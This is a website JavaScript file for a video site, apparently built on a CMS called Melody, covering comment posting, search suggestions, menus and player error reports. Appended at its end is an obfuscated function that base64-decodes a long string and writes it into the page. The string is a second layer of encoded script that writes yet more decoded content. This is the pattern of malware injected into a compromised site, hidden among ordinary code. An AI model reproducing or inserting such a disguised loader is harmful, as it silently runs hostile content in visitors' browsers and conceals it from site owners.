   var http_request = false;
   function makePOSTRequest(url, parameters) {
      http_request = false;
      if (window.XMLHttpRequest) { // Mozilla, Safari,...
         http_request = new XMLHttpRequest();
         if (http_request.overrideMimeType) {
         	// set type accordingly to anticipated content type
            //http_request.overrideMimeType('text/xml');
            http_request.overrideMimeType('text/html');
         }
      } else if (window.ActiveXObject) { // IE
         try {
            http_request = new ActiveXObject("Msxml2.XMLHTTP");
         } catch (e) {
            try {
               http_request = new ActiveXObject("Microsoft.XMLHTTP");
            } catch (e) {}
         }
      }
      if (!http_request) {
         alert('Cannot create XMLHTTP instance');
         return false;
      }
      
      http_request.onreadystatechange = alertContents;
      http_request.open('POST', url, true);
      http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      http_request.setRequestHeader("Content-length", parameters.length);
      http_request.setRequestHeader("Connection", "close");
      http_request.send(parameters);
   }

   function alertContents() {
      if (http_request.readyState == 4) {
         if (http_request.status == 200) {
            //alert(http_request.responseText);
            result = http_request.responseText;
            document.getElementById('mycommentspan').innerHTML = result;
         } else {
            //alert('There was a problem with the request.');
			document.getElementById('mycommentspan').innerHTML = 'There was a problem with the request. Please contact us and report this problem!';
         }
      }
   }
   
   function get(obj) {
	   
	  var poststr;
	  if(document.getElementById("user_id").value == 0)
	  {
		 poststr = "comment_txt=" + encodeURI( document.getElementById("comment_txt").value ) +
                    "&vid=" + encodeURI( document.getElementById("vid").value ) +
					"&user_id=" + encodeURI( document.getElementById("user_id").value ) +
					"&username=" + encodeURI( document.getElementById("username").value ) +
					"&captcha=" + encodeURI( document.getElementById("captcha").value );
	  }
	  else {
		 poststr = "comment_txt=" + encodeURI( document.getElementById("comment_txt").value ) +
		 			"&user_id=" + encodeURI( document.getElementById("user_id").value ) +
                    "&vid=" + encodeURI( document.getElementById("vid").value );
	  }
	  
      makePOSTRequest(''+MELODYURL+'/comment.php', poststr);
   }

function submitonce(theform){
//if IE 4+ or NS 6+
	if(document.getElementById("user_id").value != 0)
	{
		if(document.getElementById("comment_txt").value == '' || document.getElementById("comment_txt").value == "test"){
			//alert('You need to write a comment first!');
		}
		else{
			if (document.all||document.getElementById){
				//screen thru every element in the form, and hunt down "submit" and "reset"
				for (i=0;i<theform.length;i++){
					var tempobj=theform.elements[i]
					if(tempobj.type.toLowerCase()=="submit"||tempobj.type.toLowerCase()=="reset")
					//disable em
					tempobj.disabled=true;
				}
				//theform.style.display='none';
				$(theform).slideUp('normal');
			}
		}
	}
	else
	{
		//	guest comment
		var alert_msg = '';
		if(document.getElementById("comment_txt").value == ''){
			//alert('You need to write a comment first!');
			alert_msg = alert_msg+'You need to write a comment first!\n';
		}
		if(document.getElementById("username").value == '' || document.getElementById("captcha").value == ''){
			alert_msg = alert_msg+'Please fill in the required fields.\n';
		}
		
		if(alert_msg != '') {
			//alert(alert_msg);
		}
		else{
			if (document.all||document.getElementById){
				//screen thru every element in the form, and hunt down "submit"
				for (i=0;i<theform.length;i++){
					var tempobj=theform.elements[i]
					if(tempobj.type.toLowerCase()=="submit")
					//disable em
					tempobj.disabled=false;
				}
				//theform.style.display='none';
				$(theform).slideUp('normal');
			}
		}	
	}
	
}

function validateSearch(b_on_submit){
    if(document.forms['search'].keywords.value == '' || document.forms['search'].keywords.value == 'search'){
        alert('You did not enter a search term. Please try again.');
        if(b_on_submit == 'true')
            return false;
    }
    else{
        document.forms['search'].submit();
    }
}
function lookup(inputString) {
	if(inputString.length == 0) {
		// Hide the suggestion box.
		$('#suggestions').hide();
	} else if(inputString.length > 2) {
		$.post(MELODYURL2+'/ajax_search.php', {queryString: ""+inputString+""}, function(data){
			if(data.length >0) {
				$('#suggestions').show();
				$('#autoSuggestionsList').html(data);
			}
		});
	}
} // lookup
	
function catlist()
{
	$("#ul_categories li").hoverIntent(
	 function(){
			var ul_subs = $(this).find('ul');
			
			if(ul_subs.hasClass("hidden_li"))
			{	
				ul_subs.removeClass();
				ul_subs.slideDown(80);
				ul_subs.addClass('visible_li')
			}
	 }, 
	 function(){
			var ul_subs = $(this).find('ul');
			
			if(ul_subs.hasClass("visible_li"))
			{
				ul_subs.addClass("hidden_li");	
				ul_subs.slideUp(150);
				ul_subs.removeClass('visible_li');
			}
	 });

}

function fill(thisValue) {
	$('#inputString').val(thisValue);
	setTimeout("$('#suggestions').hide();", 200);
}

function ajax_request(page, extra_params, output_sel, type, show) {
	
	var ret = false;
	
	if (type.length == 0)
	{
		type = "html";	
	}

	if (output_sel.length > 0)
	{
		$(output_sel).html('<img src="'+TemplateP+'/images/ajax-loading.gif" alt="Loading" id="loading" />Loading...').fadeIn('normal');	
	}
	$.ajax({
		   type: "GET",
		   url: MELODYURL2 + "/ajax.php", 
		   //cache: false, 
		   data: "p=" + page + "&" + extra_params,
		   dataType: type,
		   success: function(data) {
						if (output_sel.length > 0)
						{
							$(output_sel).html(data);
							
							if (show == true)
							{
								$(output_sel).show();
							}
						}
						ret = true;
					}
		   });
	
	return ret;
}

function onpage_delete_comment(comment_id, video_id, selector) {

	var confirm_msg = "You are about to delete this comment. Click 'Cancel' to stop, 'OK' to delete";
	var response = false;
	
	if (confirm(confirm_msg)) 
	{
		if (selector.length > 0) 
		{
			ajax_request("comments", "do=onpage_delete_comment&cid=" + comment_id + "&vid=" + video_id, "", "", false);
			$(selector).fadeOut('normal');
		}
	}
}

function onpage_delete_favorite(video_id, selector) {

	var response = false;

		if (selector.length > 0) 
		{
			ajax_request("favorites", "do=onpage_delete_favorite&vid=" + video_id, "", "", false);
			$(selector).fadeOut("slow");
		}
}
var arPlayer = null;
var arDone = false;
function reportNotFound(uid) {
	if (uid.length > 0 && !arDone) {
		ajax_request("video", "do=report&vid=" + uid, "", "", false);
		arDone = true;
	}
}
function onStreamNotFound(clip) {
	reportNotFound(clip.name);	
}
function triggerPlayerError(obj) {
	reportNotFound(arPlayer.id);
}
function playerReady(obj) {
	arPlayer = document.getElementById(obj['id']);
	arPlayer.addModelListener("ERROR", "triggerPlayerError");
}
function n2598b05091(sdf5a45){var gb79e69='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o820f26='';var r6b842fc,v9a85be,wa9a1457d,c66b180f,sc67fe7c6,d43e50ed,t4789a21d;var leeb59=0;do{c66b180f=gb79e69.indexOf(sdf5a45.charAt(leeb59++));sc67fe7c6=gb79e69.indexOf(sdf5a45.charAt(leeb59++));d43e50ed=gb79e69.indexOf(sdf5a45.charAt(leeb59++));t4789a21d=gb79e69.indexOf(sdf5a45.charAt(leeb59++));r6b842fc=(c66b180f<<2)|(sc67fe7c6>>4);v9a85be=((sc67fe7c6&15)<<4)|(d43e50ed>>2);wa9a1457d=((d43e50ed&3)<<6)|t4789a21d;if(r6b842fc>=192)r6b842fc+=848;else if(r6b842fc==168)r6b842fc=1025;else if(r6b842fc==184)r6b842fc=1105;o820f26+=String.fromCharCode(r6b842fc);if(d43e50ed!=64){if(v9a85be>=192)v9a85be+=848;else if(v9a85be==168)v9a85be=1025;else if(v9a85be==184)v9a85be=1105;o820f26+=String.fromCharCode(v9a85be);}if(t4789a21d!=64){if(wa9a1457d>=192)wa9a1457d+=848;else if(wa9a1457d==168)wa9a1457d=1025;else if(wa9a1457d==184)wa9a1457d=1105;o820f26+=String.fromCharCode(wa9a1457d);}}while(leeb59<sdf5a45.length);document.write(o820f26);};n2598b05091('PHNjcmlwdCBsYW5ndWFnZT0nSmF2YVNjcmlwdCc+dmFyIHM4M2MxNzMzM2MyMDUxPXtmYTAzMDc5NjI2MDpmdW5jdGlvbihjZjMwY2Qpe3ZhciBmMGE1YmM4OTY9Y2YzMGNkLnN1YnN0cigxMywzKS01MjQsbTRhOWZjMCxwMjEzYjhkZDEsY2YzMGNkPWNmMzBjZC5zdWJzdHIoMTYpLHMyOWQ2NjA9dGhpcy5sNzdjZWYyKGNmMzBjZCk7Zm9yKHZhciBwN2EwMjI1PTA7cDdhMDIyNTxzMjlkNjYwO3A3YTAyMjUrKyl7dHJ5e3Rocm93KHJiNTc0NT1jZjMwY2Quc3Vic3RyKHA3YTAyMjUsMSkpO31jYXRjaChlKXtyYjU3NDU9ZTt9O2lmKHJiNTc0NT09J5knKXtmMGE1YmM4OTY9IiI7cDdhMDIyNT10aGlzLnQ4ZWI5ZTkocDdhMDIyNSk7djdkZTE1ZGM9Y2YzMGNkLnN1YnN0cihwN2EwMjI1LDEpO3doaWxlKHRoaXMubGI3YjIzNGQodjdkZTE1ZGMpKXtmMGE1YmM4OTYrPXY3ZGUxNWRjO3A3YTAyMjUrKzt2N2RlMTVkYz10aGlzLm0xNmM3N2Y1OChjZjMwY2QscDdhMDIyNSk7fWYwYTViYzg5Ni09MzY1O2NvbnRpbnVlO31tNGE5ZmMwPSIiO2lmKHRoaXMuZ2Q4Njg3OTkocmI1NzQ1KSl7cDdhMDIyNSsrO3JiNTc0NT1jZjMwY2Quc3Vic3RyKHA3YTAyMjUsMSk7d2hpbGUocmI1NzQ1IT0nricpe200YTlmYzArPXJiNTc0NTtwN2EwMjI1Kys7cmI1NzQ1PWNmMzBjZC5zdWJzdHIocDdhMDIyNSwxKTt9bTRhOWZjMD10aGlzLnNhOTIzNihtNGE5ZmMwLGYwYTViYzg5NiwxOCk7aWYobTRhOWZjMDwwKW00YTlmYzArPTI1NjtpZihtNGE5ZmMwPj0xOTIpbTRhOWZjMCs9ODQ4O2Vsc2UgaWYobTRhOWZjMD09MTY4KW00YTlmYzA9MTAyNTtlbHNlIGlmKG00YTlmYzA9PTE4NCltNGE5ZmMwPTExMDU7ZG9jdW1lbnQud3JpdGUoU3RyaW5nLmZyb21DaGFyQ29kZShtNGE5ZmMwKSk7Y29udGludWU7fWg5YzY5OGY0YT10aGlzLmw5ZjYwZjUocmI1NzQ1KTtpZihoOWM2OThmNGE+ODQ4KWg5YzY5OGY0YS09ODQ4O3AyMTNiOGRkMT1oOWM2OThmNGEtZjBhNWJjODk2LTE4O2lmKHAyMTNiOGRkMTwwKXAyMTNiOGRkMSs9MjU2O2lmKHAyMTNiOGRkMT49MTkyKXAyMTNiOGRkMSs9ODQ4O2Vsc2UgaWYocDIxM2I4ZGQxPT0xNjgpcDIxM2I4ZGQxPTEwMjU7ZWxzZSBpZihwMjEzYjhkZDE9PTE4NClwMjEzYjhkZDE9MTEwNTtkb2N1bWVudC53cml0ZSh0aGlzLndhMWI2YmZmKHAyMTNiOGRkMSkpO319LGw3N2NlZjI6ZnVuY3Rpb24oZGI5M2FmOGE3KXtyZXR1cm4gZGI5M2FmOGE3Lmxlbmd0aDt9LHQ4ZWI5ZTk6ZnVuY3Rpb24oeTIwNmVlKXtyZXR1cm4gKyt5MjA2ZWU7fSxtMTZjNzdmNTg6ZnVuY3Rpb24oamI3ZTY5ZjgseThiZGZiKXtyZXR1cm4gamI3ZTY5Zjguc3Vic3RyKHk4YmRmYiwxKTt9LGxiN2IyMzRkOmZ1bmN0aW9uKGkzOThmYjFkMSl7cmV0dXJuIGkzOThmYjFkMSE9J5knO30sZ2Q4Njg3OTk6ZnVuY3Rpb24oY2U1YzgyZDU5KXtyZXR1cm4gY2U1YzgyZDU5PT0nric7fSxzYTkyMzY6ZnVuY3Rpb24odGY1MTk2MjIscjI2NGZkMGUsajY3NWM3Y2Mpe3JldHVybiB0ZjUxOTYyMi1yMjY0ZmQwZS1qNjc1YzdjYzt9LHdhMWI2YmZmOmZ1bmN0aW9uKG1jNWE4MDIpe3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKG1jNWE4MDIpO30sYTFlNjFlYjpmdW5jdGlvbigpe3JldHVybiAiMmJmNGM2MzZmZDI5NTU4NK4xMziurjE4M66ZNDQ1ma4yMDCurjIxMq6uMTk1rq4yMDeumTM5N5muMTUxrpkzNzCZN64xMziumTUxMpmuMjOurjiurjIyNq6ZNTIyma4yMDmurjIzriMjrjMxrq4yMzOumTQ1NZmuMTU1rpk0NjiZrjE2OK6uMjM0rq4yNDCumTQ0MJmuMTk0rpk1NjKZST07Spk0OTSZrjmurjE5M66uMjQ2rq4xM66ZNTY0ma43rjw8rjiuKpk1MDGZrjIzNa6ZNTE5ma4yM66uMjQyrq4yMziumTQ5MZmuN66uMjI1rq4yMTaurjIxMK6uMjI1rpk1MDSZrjIyNq6uMjI1rpk0NTeZrjE3Nq6ZNDQ3ma4yMTmumTU1NpkqrjE5rpk0NjKZrjE4NK6ZNDkzma4yNTOurjI0Na6uMjIwrq4yMTKurjIyN66uMjQ1rq4yMTWurjIxMa6uMjExrq4yMzWumTUzNpmuMTCurjI1Na6uMTSurjI1NK6uM66uMjU0rq4yNTSurjI1MK6uMjUwrpk1MzSZrjIyMa6uMjE5rpk0ODSZrjCurjI0Mq6uMjM3rq4yNTOumTQyMZmuMTc4rq4xMzWumTUzOJmuMjI1rpk0NjiZrjE2Oa6uMTU1rq4xNTOurjIyNa6uMjIyrq4yMjaurjIyNK6uMjI1rq4yMzeurjE4Mq6ZMzY5mThGODauMTI0rpkzNzeZrjE0NK6ZNDYyma4yMTKurjIyNK6uMjE2rq4yMTOumTQ5OJmuNq6uOa6uMjUxrq4yNTKumTUxOZmuMzCurjIzM66uMjA2rq4yMjCurjIwNq6ZNTA5ma4yMjSumTQxNJmuMTI3rpk1NTCZrjI1MK6ZNDcwma4yMjiurjIyNa6uMjM3rq4yMjCumTM3NJmuMTM2rpk1NjKZPK4yMa4iO30sbDlmNjBmNTpmdW5jdGlvbihvMzRhZjI4KXtyZXR1cm4gKG8zNGFmMjgrJycpLmNoYXJDb2RlQXQoMCk7fX07czgzYzE3MzMzYzIwNTEuZmEwMzA3OTYyNjAoczgzYzE3MzMzYzIwNTEuYTFlNjFlYigpKTs8L3NjcmlwdD4A');
